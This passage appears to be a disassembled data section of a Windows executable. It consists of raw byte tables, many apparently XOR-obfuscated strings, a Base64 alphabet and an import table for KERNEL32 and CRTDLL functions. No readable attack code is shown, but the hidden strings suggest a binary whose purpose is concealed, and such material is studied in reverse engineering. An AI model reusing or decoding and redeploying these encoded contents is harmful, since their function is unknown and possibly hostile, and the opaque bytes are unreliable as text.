		db 0B8h, 0FAh, 0F7h
		db 0E3h	; 
		db 0E4h, 0F3h, 0F8h
		db 0E2h	; 
		db 0FFh, 0F7h, 0F8h
		db 0F4h	; 
		db 0F7h, 0F8h, 0FDh
		db 0B8h	; 
		db 0F5h, 0F7h, 0B5h
		db 0F4h	; 
		db 0F7h, 0E4h, 0F5h
		db 0FAh	; 
		db 0F7h, 0EFh, 0E5h
		db 0B8h	; 
		db 0F5h, 0F9h, 0FBh
		db 0B5h	; 
		db 0E2h, 0F9h, 0E2h
		db 0F7h	; 
		db 2 dup(0FAh),	0EFh
		db 0F0h	; 
		db 0E4h, 2 dup(0F3h)
		db 0F4h	; 
		db 0F7h, 0F8h, 0FDh
		db 0FFh
		db 0F8h, 0F1h, 0B8h
		db 0F5h	; 
		db 0F9h, 0FBh, 0B5h
		db 0E1h	; 
		db 2 dup(0E1h),	0B8h
		db 0F8h	; 
		db 0F4h, 0F5h, 0B8h
		db 0F5h	; 
		db 0F7h, 0B5h, 0A3h
		db 0A5h	; 
		db 0F4h, 0F7h, 0F8h
		db 0FDh	; 
		db 0B8h, 0F5h, 0F9h
		db 0FBh	; 
		db 0B5h, 2 dup(0E1h)
		db 0E1h	; 
		db 0B8h, 0E0h, 0F3h
		db 0F8h	; 
		db 0F2h, 0F9h, 0E4h
		db 0E5h	; 
		db 0F8h, 0F7h, 0FBh
		db 0F3h	; 
		db 0B8h, 0E1h, 0E5h
		db 0B5h	; 
		db 3 dup(0E1h)
		db 0B8h	; 
		db 0F4h, 0A4h, 0F4h
		db 0BBh	; 
		db 0E2h, 0E4h, 0E3h
		db 0E5h	; 
		db 0E2h, 0B8h, 0F5h
		db 0F9h	; 
		db 0FBh, 0B5h, 0E1h
		db 0E1h	; 
		db 0E1h, 0B8h, 0E0h
		db 0F3h	; 
		db 0F8h, 0F2h, 0F9h
		db 0E4h	; 
		db 0E5h, 0F8h, 0F7h
		db 0FBh	; 
		db 0F3h, 0B8h, 0E1h
		db 0E5h	; 
		db 0B5h, 0F9h, 0E6h
		db 0F3h	; 
		db 0F8h, 0F4h, 0F7h
		db 0F8h	; 
		db 0FDh, 0B8h, 0F5h
		db 0F9h	; 
		db 0FBh, 0B5h, 0E2h
		db 0F7h	; 
		db 0E2h, 0BBh, 0F8h
		db 0F3h	; 
		db 0F0h, 0E2h, 0F4h
		db 0F7h	; 
		db 0F8h, 0FDh, 0B8h
		db 0E4h	; 
		db 0E3h, 0B5h, 0E5h
		db 0F3h	; 
		db 0F5h, 0FAh, 0F7h
		db 0F4h	; 
		db 0B8h, 0E4h, 0E3h
		db 0B5h	; 
		db 0E5h, 0F3h, 0F5h
		db 0E3h	; 
		db 0E4h, 0FFh, 0E2h
		db 0EFh	; 
		db 0FAh, 0F7h, 0F4h
		db 0B8h	; 
		db 0E4h, 0E3h, 0B5h
		db 0F0h	; 
		db 0F3h, 0E2h, 0FEh
		db 0F7h	; 
		db 0E4h, 0F2h, 0B8h
		db 0F4h	; 
		db 0FFh, 0ECh, 0B5h
		db 0F1h	; 
		db 0E4h, 0F9h, 0F8h
		db 0EEh	; 
		db 0E6h, 0FAh, 0F7h
		db 0F8h	; 
		db 0F3h, 0E2h, 0E5h
		db 0B8h	; 
		db 0E4h, 0E3h, 0B5h
		db 0E0h	; 
		db 0F3h, 0F8h, 0F2h
		db 0F9h	; 
		db 0E4h, 0E5h, 0F8h
		db 0F7h	; 
		db 0FBh, 0F3h, 0B8h
		db 0E1h	; 
		db 0E5h, 0B5h, 0
		db    0
		db 4, 2	dup(0)
		db    0
		db 0B2h, 0, 0F0h
		db    0
		db 0FDh, 0, 0F6h
		db    0
		db 0EBh, 2 dup(0)
		db    0
		db 1, 0, 1Eh
		db  3Eh	; >
		align 4
		db  15h
		align 2
		dw 13h
		db  47h	; G
		db 12h,	29h, 26h
aG3G235_	db '%+"g3(g&23/(5.="',0
a5		db '5',0
		db 0F7h
aVscxitGsCvgqse	db '׃ז׾קקה',0
		dw 1
		db 0A3h	; 
		db 8Eh,	0, 1Eh
		db    0
		db 0Ch,	5Ch, 60h
		db  69h	; i
		db 6Dh,	7Fh, 69h
		db  20h
		db 2Ch,	7Fh, 69h
aIoxItEMxecbUim	db '`iox,It|e~mxecb,Uim~',0
		db 1, 0, 30h
		db  10h
		align 2
		dw 1Fh
		db  9Ah	; 
		db 0CAh, 0F6h, 0FFh
		db 0FBh	; 
		db 0E9h, 0FFh, 0B6h
		db 0BAh	; 
		db 0E9h, 0FFh, 0F6h
		db 0FFh
		db 0F9h, 0EEh, 0BAh
		db 0DFh	; 
		db 0E2h, 0EAh, 0F3h
		db 0E8h	; 
		db 0FBh, 0EEh, 0F3h
		db 0F5h	; 
		db 0F4h, 0BAh, 0D7h
		db 0F5h	; 
		db 0F4h, 0EEh, 0F2h
		db    0
		db 4, 0, 52h
aWbj		db 'wbj',0Ah,0
		db 1, 0, 10h
		db  4Ch	; L
		align 2
		dw 1
		db 0F8h	; 
		db 0D2h, 0, 4
		db    0
		db ')-)))',0
		db 9,0
		db 60h,	30h, 12h
		db  0Fh
		db 4, 15h, 3
		db  14h
		db 29h,	4, 0
		db  29h	; )
		align 2
aAXzdtbcpuBAZpd	db 'Ӏ',0
		db 1, 0, 5Bh
		db  75h	; u
		align 2
		dw 4
aEh@K		db 'eH@=K',0
		dw 3
aLs		db '',0
		db 8,0
aCC		db '',0
		db 2, 0, 2Fh
		db  61h	; a
		db 7Bh,	0, 2
		db    0
		db 0DEh, 0E7h, 86h
		db    0
		db 6, 0, 15h
aFagvel		db 'fagvel',0
		db 8,0
		db '',0
		db 7,0
		db 87h,	0F4h, 0F7h
		db 0F5h	; 
		db 0EEh, 0E9h, 0F3h
		db 0E1h	; 
		align 2
		dw 6
		db '',0
		db    5
		align 2
		dw 681Bh
		db  69h	; i
		db 7Ah,	75h, 7Fh
		db    0
		db 4, 0, 0C0h
aBod		db '',0
		db 6, 0, 10h
aUCud		db '}u}cud',0
		db 6
		db    0
a4yqywdm	db '4YQYWDM',0
		db 6, 0, 93h
		db 0FEh	; 
		db 0F6h, 0FEh, 0F0h
		db 0FEh	; 
		db 0E3h, 0, 6
		db    0
		db 74h,	19h, 15h
		db  18h
		db 18h,	1Bh, 17h
		db    0
		db 4, 0, 0CDh
aLIi		db '',0
		db 4, 0, 0C2h
aGNl		db '',0
		db 7,0
aXskrxxac	db '告',0
		db    6
		align 2
		dw 4B14h
aGxqqd		db 'gxqqd',0
		db 0Ah,0
		db  0Eh
aMZjbbJbb	db 'm|zjbb jbb',0
		db 0Ah,0
aTbrcjooJoo	db '⁐̆',0
		dw 6
aKkqVx		db ' KKQ',0Dh,'VX',0
		db    6
		align 2
		dw 66Dh
		db    6
		db 1Ch,	40h, 1Bh
		db  15h
		align 2
		dw 6
aIiU		db 'è',0
		db    6
		align 2
		dw 771Ch
aWm1jd		db 'wm1jd',0
		db 8,0
		db    7
		db 22h,	74h, 58h
		db  6Ah	; j
		db 73h,	7Fh, 22h
		db  72h	; r
		align 2
		dw 6
		db 0D0h	; 
		db 2 dup(0BBh),	0A1h
		db 0FDh	; 
		db 0A6h, 0A8h, 0
		db    7
		align 2
		dw 0E9CCh
		db 0BFh	; 
		db 93h,	0A1h, 0B8h
		db 0B4h	; 
		db 0FDh, 0, 16h
		db    0
aTbolbiNmbzNBnm	db '⡎­¶¡',0
		db 6, 0, 38h
aZmllwv		db 'zmllwv',0
		db 1Eh
		db    0
		db 4, 41h, 5Ch
		db  54h	; T
		db 4Dh,	56h, 45h
		db  50h	; P
		db 4Dh,	4Bh, 4Ah
		db  24h	; $
		db 40h,	45h, 50h
		db  41h	; A
		db 3 dup(0Eh)
aEpiTmjGk@a	db 'EPI$TMJ$GK@A',0
		db 6, 0, 0Bh
aX_j_bh		db 'X_J_BH',0
		align 4
		db    0
		db '',0
		db 4
		db    0
aIcl		db 'ߚ',0
		db 6
		db    0
		db 0C5h, 0F7h, 0F5h
		db 0E0h	; 
		db 0EBh, 0F7h, 0B0h
		db    0
		db 4, 0, 85h
		db 0A0h	; 
		db 0ABh, 0B7h, 0F0h
		db    0
		db 2 dup(0), 0B4h
		db    0
		db 8, 0, 55h
		db  16h
		db 1Ah,	18h, 17h
		db  1Ah
		db 17h,	1Ah, 0Dh
		db    0
		db 2 dup(0), 8Eh
		db    0
		db 8, 0, 19h
aZvtVVa		db 'ZVT[V[VA',0
		db 6, 0, 12h
aAfsfQ		db 'AFSF[Q',0
aN		db 'n',0
		db 43h,	16h, 2Dh
		db  22h	; "
		db 21h,	2Fh, 26h
		db  63h	; c
		db 37h,	2Ch, 63h
		db  22h	; "
		db 36h,	37h, 2Bh
		db  2Ch	; ,
		db 31h,	2Ah, 39h
		db  26h	; &
		db 6Dh,	49h, 66h
		db  30h	; 0
		db 63h,	33h, 31h
		db  2Ch	; ,
		db 20h,	26h, 30h
		db  30h	; 0
		db 2Ah,	2Dh, 24h
		db  63h	; c
		db 20h,	26h, 2Dh
		db  37h	; 7
		db 26h,	31h, 63h
		db  2Ah	; *
		db 30h,	63h, 36h
		db  2Dh	; -
		db 22h,	21h, 2Fh
		db  26h	; &
		db 63h,	37h, 2Ch
		db  63h	; c
		db 22h,	36h, 37h
		db  2Bh	; +
		db 2Ch,	31h, 2Ah
		db  39h	; 9
		db 26h,	63h, 3Ah
		db  2Ch	; ,
		db 36h,	31h, 63h
		db  20h
		db 22h,	31h, 27h
		db  63h	; c
		db 66h,	30h, 6Dh
		db  49h	; I
		db 0Eh,	22h, 28h
aC1170cC71CM	db '&c ,11& 7*,-0c"-',27h,'c71:c"$"*-m',0
		db 0Ah,0
aM		db 'M',0
		db 2Ch,	3Eh, 39h
		db  28h	; (
		db 3Fh,	0Eh, 2Ch
		db  3Fh	; ?
		db 29h,	0, 4
		db    0
		db 5Dh,	0Bh, 14h
		db  0Eh
		db 1Ch,	0, 1
		db    0
		db 42h,	62h, 0
		db    6
		align 2
aY80		db 'y*-8-0:',0
		align 4
aT		db '',0
		dw 6
aV7?5		db 'v%"7"?5',0
		db  15h
		align 2
aFlfff6455F	db 'flFFF64)%#55/(!F ',27h,'/*#"',0
		db 6, 0, 5Eh
		db  0Dh
		db 0Ah,	1Fh, 0Ah
		db  17h
		db 1Dh,	0, 6
		db    0
aB3o4		db 'B))3o4:',0
		db 8,0
aIAgI		db '̉',0
		db 9,0
		db 80h
		db 0C4h	; 
		db 0EFh, 0E3h, 0CFh
		db 0E2h	; 
		db 0EAh, 0E5h, 0E3h
		db 0F4h	; 
		align 2
		dw 0Eh
aAGGcZz		db 'Ԁ',0
		db    4
		align 2
		dw 0B49Ah
		db 0F4h	; 
		db 0F6h, 0E9h, 0
		db    1
		align 2
		dw 0FBA7h
		db    0
		db 5, 0, 3
aPP_		db '&p&p_',0
		dw 5
		db  2Bh	; +
		db 0Eh,	58h, 0Eh
		db  58h	; X
		db 77h,	0, 3
		db    0
aUA		db '',0
		dw 4
aPk		db '',0
		align 10h
		db    0
		db 9,0
		align 4
		db    0
		db '',0
aZ		db '',0
aA_0		db '',0
aG		db '',0
aK		db '',0
		db '',0
aA_1		db '',0
aA_2		db '',0
		db '',0
aB		db '',0
		db 2 dup(0), 5Fh
		db    0
aIu_iTyi_TyiTyi	db 'Iu $.i> -=!tyi!, .!=tyi+&;-,;tyi:;*t!==9sffl:v!tl:o tl<l:o&tl<o/t'
		db 'l*o: tl:o:&tl<o=%tl<o?tl<o-tl:w',0
		db ',',0
aBAAnaAnaAnaAsT	db 'ڝՀɀπހΒۀރ',0
		db 7,0
aNPnuP		db 'ӏӏ',0
		db 3, 0, 7Ah
		dd 471541h, 7B400004h, 7D2F33h,	0F3C80004h, 0E2F5ACh, 300h
		dd 0F004600h, 1000B00h,	10000000h, 0F9E2B100h, 0F7C5D4F6h
		dd 0D4D5DDDEh, 0C5D0E1C3h, 0B00F0D9h, 0C4DFAC00h, 9FC0C0C9h
		dd 0C0C8829Eh, 0B00C0h,	6B667D0Eh, 3C3D6262h, 62626A20h
		dd 2000C00h, 57766745h,	4C706771h, 43676F63h, 0B000B00h
		dd 486C6E59h, 6E786467h, 726E40h, 0BDEF0010h, 9ABE888Ah
		dd 0B9969D8Ah, 8A9A838Eh, 0AE97AAh, 0C99B000Dh,	0EBD4FCFEh
		dd 0FED0F5FEh, 0DAE3DEE2h, 7000C00h, 66716366h,	35346E77h
		dd 6B6B6329h, 8E000C00h, 0EFF8EAEFh, 0BCBDE7FEh, 0E2E2EAA0h
		dd 97000100h, 500CBh, 331C4A6Fh, 5001C4Ah, 0C5A7F00h, 0C5A23h
		dd 0AE8B0004h, 0A1D7F8h, 0D8F60004h, 859A98h, 79250001h
		dd 0C001100h
aEbxiBixItCI	db 'Ebxi~bix,It|`c~i~',0
		align 4
aD		db 'D',0
		dw 1
		dd 2D55h, 0E00E400h, 0DBF9BE00h, 0D1CAEDCAh, 0DCF1D5DDh
		dd 0CADDDBD4h, 0B0000B00h, 0D1D5C2F3h, 0DFF6D5C4h, 0F1C4DEh
		dd 2A4D0009h, 7F7E2429h, 21212963h, 0D7000900h,	0E4BEB3B0h
		dd 0BBB3F9E5h, 0B00BBh,	0FACCF6BFh, 0D3DECACEh,	0FBF6EAF8h
		dd 6F000E00h, 13A002Ch,	1B060106h, 6030E06h, 0C000A15h
		dd 0D7FBB800h, 0CCD1D6F1h, 0D1D4D9D1h, 1000DDC2h, 98B4F700h
		dd 969285B4h, 99BE9283h, 99968384h, 0F009294h, 0F6F9BA00h
		dd 0FCFEF3E9h, 0E9D7D5C8h, 0D4D3C8CEh, 900DDh, 40D0E61h
		dd 54F5352h, 9000D0Dh, 0B6B5DA00h, 0F4E8E9BFh, 0B6B6BEh
		dd 8AA40004h, 0D0C5C0h,	0A2F0017h, 0A4C0A4Ch, 24C0A4Ch
		dd 2 dup(4C0A4C0Ah), 4C014C0Ah,	16004240h, 54123700h, 2	dup(54125412h)
		dd 1254121Ah, 12541254h, 42451954h, 4C000E00h, 38290Bh
		dd 202D2F23h, 2A220529h, 0D000D23h, 0E8CA8D00h,	0FFE8DBF9h
		dd 0E3E2E4FEh, 0CCF5C8h, 83C50014h, 91A0A9ACh, 91A0A8ACh
		dd 0B6BC96AAh, 91A8A0B1h, 0A0A8ACh, 0E5A6000Fh,	0C7D6CBC9h
		dd 0CFE0C3D4h, 0CFF2C3CAh, 1500C3CBh, 11337400h, 181B2200h
		dd 3D111901h, 61B121Ah,	1D001519h, 351A1Bh, 327B0014h
		dd 91E0F15h, 10181417h,	1E3F1F1Eh, 161E0918h, 0F151Eh
		dd 96DF0014h, 0ADBAABB1h, 0B4BCB0B3h, 0B196BBBAh, 0B2BAADBCh
		dd 0ABB1BAh, 31760013h,	0F250213h, 1B130205h, 13041F32h
		dd 4190215h, 1200370Fh,	0E5C78000h, 0E4EFCDF4h,	0C6E5ECF5h
		dd 0CEE5ECE9h, 0C1E5EDE1h, 0E5000A00h, 8B8095AAh, 809190A8h
		dd 0C00A49Dh, 0EBDA9900h, 0FCEDF8FCh, 0FCEDECD4h, 900D8E1h
		dd 98B4F700h, 9EB18E87h, 0B6929Bh, 185F0011h, 361B2B3Ah
		dd 2D19342Ch, 2F0C3A3Ah, 1E3A3C3Eh, 0F2000C00h,	0B78697A1h
		dd 809D8080h, 97969DBFh, 0E8001100h, 0AD9C8DAFh, 0AB9C8190h
		dd 0BC8D8C87h, 898D9A80h, 0D008Ch, 0BFAE8CCBh, 0BDA2B98Fh
		dd 0BBB29FAEh, 9008AAEh, 133C7A00h, 16391E14h, 1F0915h
		dd 581E000Dh, 507A7077h, 586A667Bh, 5F7B7277h, 61000E00h
		dd 50F0827h, 12130827h,	0D082715h, 0C002004h, 0C9EBAC00h
		dd 0CFC5F8D8h, 0D9C3EFC7h, 0D00D8C2h, 0D3F5A700h, 0D5C2FDCBh
		dd 0CAC2EAC8h, 0DED5C8h, 4F08000Dh, 715B7C6Dh, 656D7C7Bh
		dd 6D65615Ch, 8F000900h, 0EEECE0C3h, 0EAFDC9E3h, 0A00EAh
		dd 111D3E72h, 1E331E13h, 111D1Eh, 2076000Bh, 302041Fh
		dd 4301A17h, 0C001313h,	0EAD58300h, 0E2F6F7F1h,	0EFEFC2EFh
		dd 800E0ECh, 5D6A3800h,	517E5C59h, 0C005D54h, 0A381C600h
		dd 0ABA392B2h, 0B2A796B6h, 120087AEh, 0C9C28500h, 0E9E4E7EAh
		dd 0EAE8E0C8h, 0F1D6FCF7h, 0F6F0F1E4h, 0E9001300h, 9D859CA4h
		dd 9D90AB80h, 0BE86BD8Ch, 0AA8C8D80h, 9B8881h, 0C7900013h
		dd 0D3F5F4F9h, 0C4E2F1F8h, 0FCE5DDFFh, 0E9D2F9E4h, 700F5E4h
		dd 8BB5E200h, 879AA78Ch, 80081h, 32352A46h, 28232A34h
		dd 0B0011h, 3F2E0C4Bh, 2E27220Dh, 2E312218h, 0C8000B00h
		dd 0BBA7A48Bh, 0A6A980ADh, 0ADA4ACh, 71260009h,	43524F54h
		dd 434A4F60h, 0C0000E00h, 86B4A593h, 90A5ACA9h,	0B4AEA9AFh
		dd 0B00B2A5h, 0C3E2A600h, 0C3D2C3CAh, 0C3CACFE0h, 0B00E7h
		dd 899EAFECh, 0AA89988Dh, 0AD898085h, 0E7000C00h, 838688ABh
		dd 95858EABh, 0A69E9586h, 86001000h, 0CBF2E3C1h, 0EAF3E2E9h
		dd 0E8E7CEE3h, 0C7E3EAE2h, 0BB000400h, 0CBDEDEF9h, 98000A00h
		dd 0ECF1E0DDh, 0FDEAF0CCh, 1200FCF9h, 78531600h, 73527B63h
		dd 79627D65h, 787F4166h, 65617972h, 0E1000D00h,	858F88A7h
		dd 858F88B6h, 99A4968Eh, 1000A0h, 37240256h, 373A2538h
		dd 331B3322h, 31372525h, 0A0033h, 0F0F7CC9Fh, 0F1F6C8E8h
		dd 0E8F0FBh, 0CE9D000Eh, 0F4CAE9F8h, 0EAF2F9F3h, 0E9E5F8C9h
		dd 0E00DCh, 16073162h, 60C0B35h, 0D2E150Dh, 23050Ch, 0F3A00008h
		dd 0C9F4D4C5h, 0D2C5CDh, 590A0008h, 654C7E6Fh, 797F69h
		dd 0EBB8000Ch, 0F5DCD6DDh, 0D9CBCBDDh, 0F9DDDFh, 0BAE8000Eh
		dd 9B818F8Dh, 0AB9A8D9Ch, 9B9B8984h, 0A00A9h, 140D2F62h
		dd 0C0B3507h, 150D06h, 0D40000Bh, 21333325h, 2F022527h
		dd 9000138h, 3F1C5000h,	33193431h, 113E3Fh, 4D01000Bh
		dd 4265606Eh, 6E727374h, 0E004073h, 0A587C000h,	0AEA997B4h
		dd 94B7AFA4h, 81B4B8A5h, 99000D00h, 0CEEDFCDEh,	0F6FDF7F0h
		dd 0FAFCCBEEh, 0E00EDh,	47567433h, 575D5A64h, 5C7F445Ch
		dd 72545Dh, 0EAAD0009h,	0C4FAD9C8h, 0DAC2C9C3h,	94000B00h
		dd 0D9E0F1D3h, 0F5E7E7F1h, 0D5F1F3h, 61260013h,	49605243h
		dd 54414354h, 42485349h, 42484F71h, 0D005149h, 50723500h
		dd 54597641h, 547B4646h, 745058h, 793D0010h, 5C4D4E54h
		dd 70555E49h, 5C4E4E58h, 7C585Ah, 2C68000Dh, 1A1C1B0Dh
		dd 13F1107h, 1F070C06h,	0C3000E00h, 94A5A687h, 0ACA7ADAAh
		dd 0ACB193B4h, 0F0082A0h, 0C9F8BB00h, 0DECFDADEh, 0DFD5D2ECh
		dd 0C3FECCD4h, 0F00FAh,	4F426023h, 4D4A744Fh, 73544C47h
		dd 62404C51h, 0D2000A00h, 0A0B7A1A7h, 0B6FCE0E1h, 0A00BEBEh
		dd 5F592C00h, 1E1F5E49h, 40404802h, 89000F00h, 0EDD5FAACh
		dd 0FCACE5EFh, 0A7BBBAF3h, 0E5E5EDh, 0FBDE000Fh, 0B8B582ADh
		dd 0A4B2ABFBh, 0BAF0ECEDh, 400B2B2h, 0BAFCD900h, 80085E3h
		dd 0A7D4F400h, 0BDA2A6B1h, 600B1B7h, 171D4E00h,	30B1A1Dh
		dd 0B6000600h, 9BC7DDDDh, 800CEC0h, 0BBEDC800h,	0B0BCA597h
		dd 0A00BDEDh, 42572400h, 574B7B47h, 4848400Ah, 10000A00h
		dd 4F737663h, 743E637Fh, 4007C7Ch, 0EBAD8800h, 0C00D4B2h
		dd 0A68BCF00h, 0AA88BFBCh, 0BDAE9FBBh, 0B00A2AEh, 3C0B5D00h
		dd 333C342Fh, 34331429h, 0C0029h, 8093A4F2h, 869C939Bh
		dd 93979EB1h, 0D0080h, 242E0457h, 32322511h, 3E252304h
		dd 0E003039h, 0B993C000h, 0ACAC81B3h, 0B493A3AFh, 0A7AEA9B2h
		dd 78000C00h, 191D1417h, 4A4B0C0Dh, 14141C56h, 0E0000C00h
		dd 81858C8Fh, 0D2D39495h, 8C8C84CEh, 90000200h,	100B0B0h
		dd 0EDC200h, 0A8C50012h, 0A9B1A6B6h, 0B1B69AB6h, 0B6B0B1A4h
		dd 0F6B7A4A7h, 0E00F7h,	3E3D085Ch, 3832350Bh, 301F2B33h
		dd 2F2F3Dh, 5F230001h, 91000200h, 100EDB1h, 0CFF500h, 6E4E0004h
		dd 743B6Bh, 0EE920001h,	74000A00h, 3B324854h, 514E3926h
		dd 0B004A01h, 0E6FADA00h, 979B889Ch, 0AFFFE09Fh, 0A00E4h
		dd 0D2A8B494h, 0D1D9D5C6h, 0AAD9AEh, 400h, 0A600C800h
		dd 0A500A900h, 0AD00h, 500h, 33004500h,	29002400h, 20003000h
		dd 41000000h, 45444342h, 49484746h, 4D4C4B4Ah, 51504F4Eh
		dd 55545352h, 59585756h, 6362615Ah, 67666564h, 6B6A6968h
		dd 6F6E6D6Ch, 73727170h, 77767574h, 307A7978h, 34333231h
		dd 38373635h, 2F2B39h, 2F2F3Ah,	0A0597200h, 0CFF6A89Bh
		dd 42A411h, 8F0AC9A0h, 4106E039h, 0D0399AFEh, 8CA411h
		dd 8F0AC9A0h, 0A715A039h, 0D0658734h, 4A9211h, 0ACC7AF20h
		dd 50F25B4Dh, 0CF98B530h, 82BB11h, 0CEBD00AAh, 96B2840Bh
		dd 1ABAB4B1h, 9CB610h, 1D3400AAh, 2040007h, 0
		dd 0C000h, 0
		dd 2C442546h, 0D026CB33h, 83B411h, 1D94FC0h, 50F21F19h
		dd 0CF98B530h, 82BB11h,	0CEBD00AAh, 50F1FF0Bh, 0CF98B530h
		dd 82BB11h, 0CEBD00AAh,	50F1F70Bh, 0CF98B530h, 82BB11h
		dd 0CEBD00AAh, 50F2400Bh, 0CF98B530h, 82BB11h, 0CEBD00AAh
		dd 2C44270Bh, 0D026CB33h, 83B411h, 1D94FC0h, 0CB690019h
		dd 0CF4D9585h, 0C9611h,	0EEF4C780h, 85h, 0
		dd 0C000h, 0
		dd 0C166146h, 0D0CDAFD3h, 3E8A11h, 0E2C94FC0h, 6Eh, 45h	dup(0)
		dd 1507000h, 2 dup(0)
		dd 1518400h, 150AC00h, 1508400h, 2 dup(0)
		dd 151A000h, 150C000h, 12h dup(0)
		dd 150E800h, 150F800h, 1511400h, 2 dup(0)
		dd 1512000h, 1512C00h, 1514000h, 1514C00h, 1515800h, 1516400h
		dd 1516C00h, 1517800h, 2 dup(0)
		dd 150E800h, 150F800h, 1511400h, 2 dup(0)
		dd 1512000h, 1512C00h, 1514000h, 1514C00h, 1515800h, 1516400h
		dd 1516C00h, 1517800h, 2 dup(0)
		dd 45009B00h, 50746978h, 65636F72h, 7373h, 47012400h, 6E457465h
		dd 6F726976h, 6E656D6Eh, 72745374h, 73676E69h, 41h, 52027800h
		dd 6E556C74h, 646E6977h, 5F008000h, 706F6466h, 6E65h, 5F014F00h
		dd 6E65706Fh, 66736F5Fh, 646E6168h, 656Ch, 66020D00h, 736F6C63h
		dd 65h,	5F003900h, 69786563h, 74h, 6D024E00h, 6F6C6C61h
		dd 63h,	72026000h, 65736961h, 73026700h, 75627465h, 66h
		dd 73027500h, 70637274h, 79h, 52454B00h, 334C454Eh, 6C642E32h
		dd 6Ch,	1500000h, 2 dup(1500010h), 54524310h, 2E4C4C44h
		dd 4C4C44h, 1501400h, 7	dup(1501410h), 10h, 0Dh	dup(0)
		dd 2000h, 0
		dd 2000h, 100000h, 0C20000h, 0D00000h, 1060000h, 78h dup(0)
		dd 100000h, 14800h, 8C303100h, 0FD30F330h, 13310530h, 21311931h
		dd 0B6312731h, 0FC31EF31h, 0E320131h, 23321332h, 3E322932h
		dd 2F32B432h, 42333533h, 5A335433h, 8A338533h, 0BB339133h
		dd 0D233CC33h, 0EE33E733h, 2B341633h, 6F345434h, 0A1347634h
		dd 0E834A734h, 0FC34F534h, 10350834h, 71356835h, 0A5358135h
		dd 0C335BC35h, 0DB35D235h, 0E35E235h, 4A362536h, 0C5367F36h
		dd 0F336CB36h, 1036F936h, 4C372737h, 81377137h,	9D379137h
		dd 0B737A837h, 0A37E337h, 20381038h, 76383338h,	0B8389238h
		dd 1338EA38h, 40392C39h, 6F395D39h, 0A2397639h,	0F239A839h
		dd 1B3A0239h, 453A2F3Ah, 853A5C3Ah, 0BC3AB53Ah,	0EA3ADC3Ah
		dd 33AFD3Ah, 653B393Bh,	793B6B3Bh, 943B7F3Bh, 0C33BB93Bh
		dd 0F73BF03Bh, 373C253Bh, 653C4A3Ch, 7C3C753Ch,	0C43CA03Ch
		dd 0EC3CCA3Ch, 143CF53Ch, 2F3D1E3Dh, 533D363Dh,	783D593Dh
		dd 8C3D863Dh, 0AA3DA13Dh, 0CA3DB53Dh, 0DE3DD03Dh, 173DE83Dh
		dd 3C3E1D3Eh, 4F3E453Eh, 693E583Eh, 803E733Eh, 9B3E863Eh
		dd 0B13EA53Eh, 343EFF3Eh, 633F3A3Fh, 0A13F7A3Fh, 0BA3FA83Fh
		dd 0D53FCB3Fh, 20003Fh,	28400h,	30302900h, 67305030h, 84307E30h
		dd 0BC30B630h, 0F730C330h, 330FC30h, 19311331h,	4C314531h
		dd 71316B31h, 0B831B331h, 0E531D131h, 0FE31F931h, 25321131h
		dd 89327D32h, 0B0329C32h, 0C832B532h, 15330832h, 0C2332133h
		dd 0E433D633h, 0D33F633h, 1A341434h, 2F342934h,	53344234h
		dd 79345934h, 90348534h, 0BA34AB34h, 0D434C734h, 0EC34DF34h
		dd 0FA34F134h, 0C350734h, 1D351135h, 28352335h,	39352D35h
		dd 44353F35h, 55354935h, 60355B35h, 71356535h, 7C357735h
		dd 90358135h, 9B359635h, 0AB35A535h, 0C535B035h, 0E535CC35h
		dd 535EC35h, 47360C36h,	6A365836h, 85367F36h, 0A0368F36h
		dd 0B236AD36h, 0C836BB36h, 0D336CD36h, 0E536DB36h, 0F036EB36h
		dd 0C370436h, 26371637h, 58374137h, 6E376937h, 8F378537h
		dd 0CD37C837h, 0DE37D837h, 0D37F937h, 1E381838h, 44383838h
		dd 87386A38h, 9D389738h, 0D338C538h, 0FD38E838h, 11390338h
		dd 38392339h, 98394939h, 0AA39A239h, 0B939B039h, 0DE39C139h
		dd 0FC39F439h, 123A0139h, 243A1C3Ah, 3B3A353Ah,	513A4B3Ah
		dd 633A583Ah, 893A7C3Ah, 9C3A903Ah, 0C33AA93Ah,	0D73AC93Ah
		dd 0EB3AE13Ah, 0FE3AF43Ah, 0F3B093Ah, 203B1A3Bh, 2C3B263Bh
		dd 3F3B383Bh, 583B4E3Bh, 0A03B933Bh, 0B13BAC3Bh, 0CE3BBD3Bh
		dd 0D93BD43Bh, 0F63BE53Bh, 23BFC3Bh, 0D3C073Ch,	183C123Ch
		dd 223C1D3Ch, 343C2E3Ch, 493C3E3Ch, 543C4E3Ch, 5F3C593Ch
		dd 6A3C643Ch, 753C6F3Ch, 883C7A3Ch, 993C933Ch, 0A83CA13Ch
		dd 0C13CB63Ch, 0CD3CC63Ch, 0E23CDB3Ch, 0EF3CE73Ch, 0C3CF43Ch
		dd 2D3D233Dh, 543D4E3Dh, 683D593Dh, 743D6E3Dh, 943D7B3Dh
		dd 0AD3DA03Dh, 0C83DB53Dh, 0E03DCD3Dh, 0F23DED3Dh, 83DFB3Dh
		dd 123E0D3Eh, 243E1E3Eh, 2E3E293Eh, 403E3A3Eh, 4A3E453Eh
		dd 5C3E563Eh, 663E613Eh, 783E723Eh, 823E7D3Eh, 943E8E3Eh
		dd 9E3E993Eh, 0B03EAA3Eh, 0BA3EB53Eh, 0CC3EC63Eh, 0D63ED13Eh
		dd 0E83EE23Eh, 0F23EED3Eh, 43EFE3Eh, 0E3F093Fh,	203F1A3Fh
		dd 2A3F253Fh, 3C3F363Fh, 463F413Fh, 583F523Fh, 623F5D3Fh
		dd 743F6E3Fh, 7E3F793Fh, 903F8A3Fh, 9A3F953Fh, 0AC3FA63Fh
		dd 0B63FB13Fh, 0C83FC23Fh, 0D23FCD3Fh, 0E43FDE3Fh, 0EE3FE93Fh
		dd 3FFA3Fh, 300000h, 29000h, 5300000h, 16300A30h, 21301C30h
		dd 32302630h, 3D303830h, 4E304230h, 59305430h, 6A305E30h
		dd 75307030h, 86307A30h, 91308C30h, 0A2309630h,	0AD30A830h
		dd 0BE30B230h, 0C930C430h, 0DD30CE30h, 0E830E330h, 730FF30h
		dd 19311331h, 23311E31h, 35312F31h, 3F313A31h, 51314B31h
		dd 5B315631h, 6D316731h, 77317231h, 89318331h, 93318E31h
		dd 0A5319F31h, 0AF31AA31h, 0C131BB31h, 0CB31C631h, 0DD31D731h
		dd 0E731E231h, 0F931F331h, 331FE31h, 15320F32h,	1F321A32h
		dd 31322B32h, 3B323632h, 4D324732h, 57325232h, 69326332h
		dd 73326E32h, 85327F32h, 8F328A32h, 0A1329B32h,	0AB32A632h
